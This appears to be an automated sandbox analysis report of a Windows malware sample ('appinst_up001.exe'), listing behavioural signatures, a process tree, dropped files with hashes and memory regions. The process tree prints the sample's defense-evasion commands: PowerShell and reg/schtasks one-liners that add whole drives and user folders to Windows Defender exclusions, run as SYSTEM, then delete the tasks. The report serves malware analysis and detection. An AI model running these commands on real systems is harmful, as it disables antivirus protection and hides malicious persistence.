Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 22:04

General

  • Target
    appinst_up001.exe
  • Size 36.8MB
  • Sample260814-1zb4aaserd
  • SHA256 29799006c39122d3c3481af17312a7c2440775424fee3f0741aab4c19037c75c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe
    "C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2744
  • C:\Users\Public\agh5LW\bzhXwW.exe
    "C:\Users\Public\agh5LW\bzhXwW.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4732
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\agh5LW\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2856
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\agh5LW\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1748
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5656
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2168
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3872
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1828
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5728
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2528
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:2436
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2164
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4676
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4612
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4772
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5372
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2732
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5940
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:3664
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5648
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2704
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5852
                      • C:\Users\Public\agh5LW\bzhXwW.exe
                        "C:\Users\Public\agh5LW\bzhXwW.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1092
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\agh5LW" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:5124
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\agh5LW" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:6004
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:6060
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:4084
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:3836
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:2652
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:1244
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:2456
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:5136

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

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                                      Downloads

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\agh5LW\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 ecdf2f3566016e85373ce4b79d8bdf74f9693fd60d5e96ab5e21066fcbcbcba2
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\agh5LW\adoresd.dat
                                      • Size 4.7MB
                                      • SHA256 35b9419e4850a3f9223fb2925a206573e4655150fa597f1716f38c570be8a34e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      bzhXwW.exe

                                      • Path C:\Users\Public\agh5LW\bzhXwW.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\agh5LW\msadox.tb
                                      • Size 8KB
                                      • SHA256 153315d6b4e5335d84e0cd12ffcd225db3936680e10755534e8d100eca370f5f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/1092-578-0x00007FF9FA380000-0x00007FF9FA382000-memory.dmp

                                      memory/1092-572-0x00007FF9D78D0000-0x00007FF9D7DEE000-memory.dmp

                                      memory/1092-585-0x0000023AE2D40000-0x0000023AE35D1000-memory.dmp

                                      memory/1092-586-0x0000023AE2D40000-0x0000023AE35D1000-memory.dmp

                                      memory/1092-587-0x00007FF9FA370000-0x00007FF9FA372000-memory.dmp

                                      memory/1092-583-0x0000023AE2D40000-0x0000023AE35D1000-memory.dmp

                                      memory/1092-584-0x0000023AE2D40000-0x0000023AE35D1000-memory.dmp

                                      memory/1092-579-0x0000023AE2D40000-0x0000023AE35D1000-memory.dmp

                                      memory/1092-575-0x0000023AE2D40000-0x0000023AE35D1000-memory.dmp

                                      memory/1928-539-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-565-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-543-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-544-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-546-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-545-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-550-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-557-0x00000291964E0000-0x000002919652E000-memory.dmp

                                      memory/1928-561-0x0000029197810000-0x000002919789A000-memory.dmp

                                      memory/1928-530-0x00007FF9FA370000-0x00007FF9FA372000-memory.dmp

                                      memory/1928-559-0x0000029197810000-0x000002919789A000-memory.dmp

                                      memory/1928-531-0x00007FF9D78D0000-0x00007FF9D7DEE000-memory.dmp

                                      memory/1928-563-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-560-0x0000029197810000-0x000002919789A000-memory.dmp

                                      memory/1928-566-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-538-0x00007FF9FA380000-0x00007FF9FA382000-memory.dmp

                                      memory/1928-536-0x0000029196F70000-0x0000029197801000-memory.dmp

                                      memory/1928-558-0x0000029197810000-0x000002919789A000-memory.dmp

                                      memory/2744-1-0x00000000004E0000-0x00000000004EE000-memory.dmp

                                      memory/2744-2-0x00000000044D0000-0x00000000044DC000-memory.dmp

                                      memory/2744-0-0x00000000004E0000-0x00000000004EE000-memory.dmp

                                      memory/2744-525-0x00007FF9ED930000-0x00007FF9ED942000-memory.dmp

                                      memory/2744-504-0x00007FF9ED930000-0x00007FF9ED942000-memory.dmp

                                      memory/2744-524-0x00000000004E0000-0x00000000004EE000-memory.dmp

                                      memory/4732-594-0x00000206FE280000-0x00000206FE2A2000-memory.dmp

                                      memory/4732-597-0x00000206FE2D0000-0x00000206FE2EE000-memory.dmp

                                      memory/4732-598-0x00000206FE510000-0x00000206FE5C2000-memory.dmp

                                      memory/4732-599-0x00000206FE2F0000-0x00000206FE2FA000-memory.dmp